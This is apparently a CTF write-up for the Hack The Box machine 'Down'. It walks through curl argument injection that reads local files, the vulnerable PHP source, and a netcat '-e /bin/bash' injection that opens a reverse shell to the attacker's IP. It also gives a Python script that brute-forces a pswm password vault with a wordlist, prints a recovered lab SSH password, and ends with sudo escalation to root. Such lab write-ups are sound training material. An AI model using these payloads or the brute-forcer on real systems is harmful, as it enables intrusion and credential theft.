Post

HTB Down CTF Writeup

An "is it down" web app passes user-supplied URLs to curl without proper argument sanitization, allowing file reads via the file:// scheme and argument injection. A hidden TCP mode exposes a netcat -e RCE vector. Internally, the user's pswm password vault is brute-forced to retrieve SSH credentials, and sudo group membership trivially grants root.

HTB Down CTF Writeup

HTB Down CTF

Notes

Web server on port 80 running “is it down” application

Web Server

The server offers a “is it down” service where you input a url and it makes a request to it and see if it’s down. I put the box’s ip address in the box and clicked the button.

image.webp

It shows me the webpage contents. I tried using my own VPN ip (tun0) alongside a python webserver to see if I get a request back. Sure enough, I got the request

image.webp

I captured the request on burpsuite. In the repeater tab, I tested the “url” parameter and got the first error message:

image.webp

I can also see more information about the request when using netcat to listen to it (e.g. http headers):

image.webp

I went to cvedetails.com to look for a CVE on that specific version, but found none

image.webp

I could however inject arguments into the command:

1
url=http://10.10.14.173+-X+POST

image.webp

If you take a look at GTFOBINS (https://gtfobins.github.io/gtfobins/curl/) you can options to explore curl.

Since curl accepts multiple websites input in the cli, separated by space, I could bypass the “http or https”-only filter and include “file://” to read local files like so (notice the “+” sign that translates to a space when url-decoded):

image.webp

Testing out common locatios for files in the web server, I foud where the webpage source code is located ad was able to see its cotents (/var/www/html/index.php)

image.webp

I copied the html-entity-encoded blob and pasted to CyberChef. It automatically suggested html entity decoding.

image.webp

The source code looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
?>

Both branches build a shell command string and run it:

  • TCP mode: &amp;quot;/usr/bin/nc -vz &amp;dollar;ip &amp;dollar;port&amp;quot;

  • HTTP mode: &amp;quot;/usr/bin/curl -s &amp;dollar;url&amp;quot;

They run escapeshellcmd() on the entire command, not escapeshellarg() on each argument. That’s a classic footgun:

  • escapeshellcmd() is not for arguments; it doesn’t properly quote a single, untrusted parameter. It leaves spaces and double quotes problematic and does not prevent argument injection.

  • Correct pattern: keep the command fixed and wrap each user value with escapeshellarg(&amp;dollar;value) (or better: avoid the shell entirely and use PHP’s cURL extension / sockets).

I added the ‘expertmode’ attribute to the url to unlock the hidden panel:

image.webp

The application fails to properly sanitize the port number value, allowing for argument injection once again. This time, with higher severity as netcat has an option to attach an executable to the connection (e.g. /bin/bash) which allows for remote command execution.

The request looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.129.171.73
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.129.171.73
Connection: keep-alive
Referer: http://10.129.171.73/index.php?exls 
pertmode=tcp
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=10.10.14.173&port=1234+-e+/bin/bash

I received the connection:

1
2
3
4
5
6
7
8
$ nc -lvnp 1234
listening on [any] 1234 ...                                                          
connect to [10.10.14.173] from (UNKNOWN) [10.129.171.73] 51812                       
ls                                                                                   
index.php
logo.png
style.css
user_aeT1xa.txt

Privilege Escalation

When enumerating the system internally, the tester noticed the user “aleks” has “pswm” software installed under his local files.

image.webp

I saved the file to my local machine.

1
2
$ cat /home/aleks/.local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

A quick google search led me to this github repo https://github.com/Julynx/pswm. In the code, there is a decrypt function that takes the master password and tries to get the cleartext content out of the vault.

I created a script that uses the same logic, to bruteforce the master password of the vault using performance-optmized approach:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3

import cryptocode
import os
from concurrent.futures import ProcessPoolExecutor, as_completed
from typing import Callable, Iterable, Optional, Tuple
import multiprocessing as mp


def encrypted_file_to_lines(file_name, master_password):
    """
    This function opens and decrypts the password vault.

    Args:
        file_name (str): The name of the file containing the password vault.
        master_password (str): The master password to use to decrypt the
        password vault.

    Returns:
        list: A list of lines containing the decrypted passwords.
    """
    if not os.path.isfile(file_name):
        return ""

    with open(file_name, "r") as file:
        encrypted_text = file.read()

    decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
    if decrypted_text is False:
        return False

    decrypted_lines = decrypted_text.splitlines()
    return decrypted_lines


def read_master_passwords_file(path: str) -> list:
    with open(path, encoding="latin-1") as f:
        master_passwords = [x.rstrip() for x in f.readlines()]

    return master_passwords


# Globals set in each child process by the initializer:
STOP = None  # type: ignore
PRED = None  # type: ignore
PSWM_DATABASE_PATH = "/home/user/hacking/htb/machines/easy/down/pswm-database"


def predicate(word: str) -> bool:
    # top-level function: picklable under spawn
    return bool(encrypted_file_to_lines(PSWM_DATABASE_PATH, word))


def _init_child(stop_event, predicate):
    """Run once in each worker process."""
    global STOP, PRED
    STOP = stop_event
    PRED = predicate


def _task(arg: Tuple[int, str]):
    """Worker task: return (index, word) if True, else None."""
    idx, word = arg
    # Fast escape if some other worker already found the answer
    if STOP.is_set():
        return None
    if PRED(word):
        pass
        STOP.set()
        return (idx, word)
    return None


def find_first_match_process(
    words: Iterable[str],
    predicate: Callable[[str], bool],
    max_workers: Optional[int] = None,
    start_method: str = "spawn",
):
    """
    Parallel search across `words` in separate processes.
    Returns the first (index, word) for which `predicate(word)` is True,
    or None if there is no match. Stops others ASAP once a match is found.

    NOTE: `predicate` must be picklable (i.e., a top-level def, not a lambda/closure).
    """
    words = list(words)  # we enumerate, so we need to realize it
    if not words:
        return None

    # Use a multiprocessing context explicitly for cross-platform safety
    ctx = mp.get_context(start_method)
    stop = ctx.Event()

    winner = None
    # cancel_futures=True cancels any tasks still in the queue (Py3.9+)
    with ProcessPoolExecutor(
        max_workers=max_workers,
        mp_context=ctx,
        initializer=_init_child,
        initargs=(stop, predicate),
    ) as ex:
        futures = {ex.submit(_task, (i, w)): i for i, w in enumerate(words)}
        for fut in as_completed(futures):
            try:
                res = fut.result()
            except Exception:
                res = None
            if res is not None:
                winner = res
                stop.set()
                # Try to cancel tasks that haven't started yet
                ex.shutdown(wait=False, cancel_futures=True)
                break

    return winner


if __name__ == "__main__":
    words = read_master_passwords_file(
        "/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-70.txt"
    )
    result = find_first_match_process(words, predicate, max_workers=mp.cpu_count())
    print("Result:", result)

Almost instantly, I got a password back:

1
Result: (56, 'flower')

I copied the pswm database for aleks to my local share folder (where pswm expects the database to be) and decrypted it

image.webp

Got the password for aleks and could log in via SSH:

1
aleks:1uY3w22uc-Wr{xNHR~+E

Privilege Escalation

The user “aleks” is member of the “sudo” group so privilege escalation here is just:

1
2
aleks@down:~$ sudo su
root@down:/home/aleks# cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.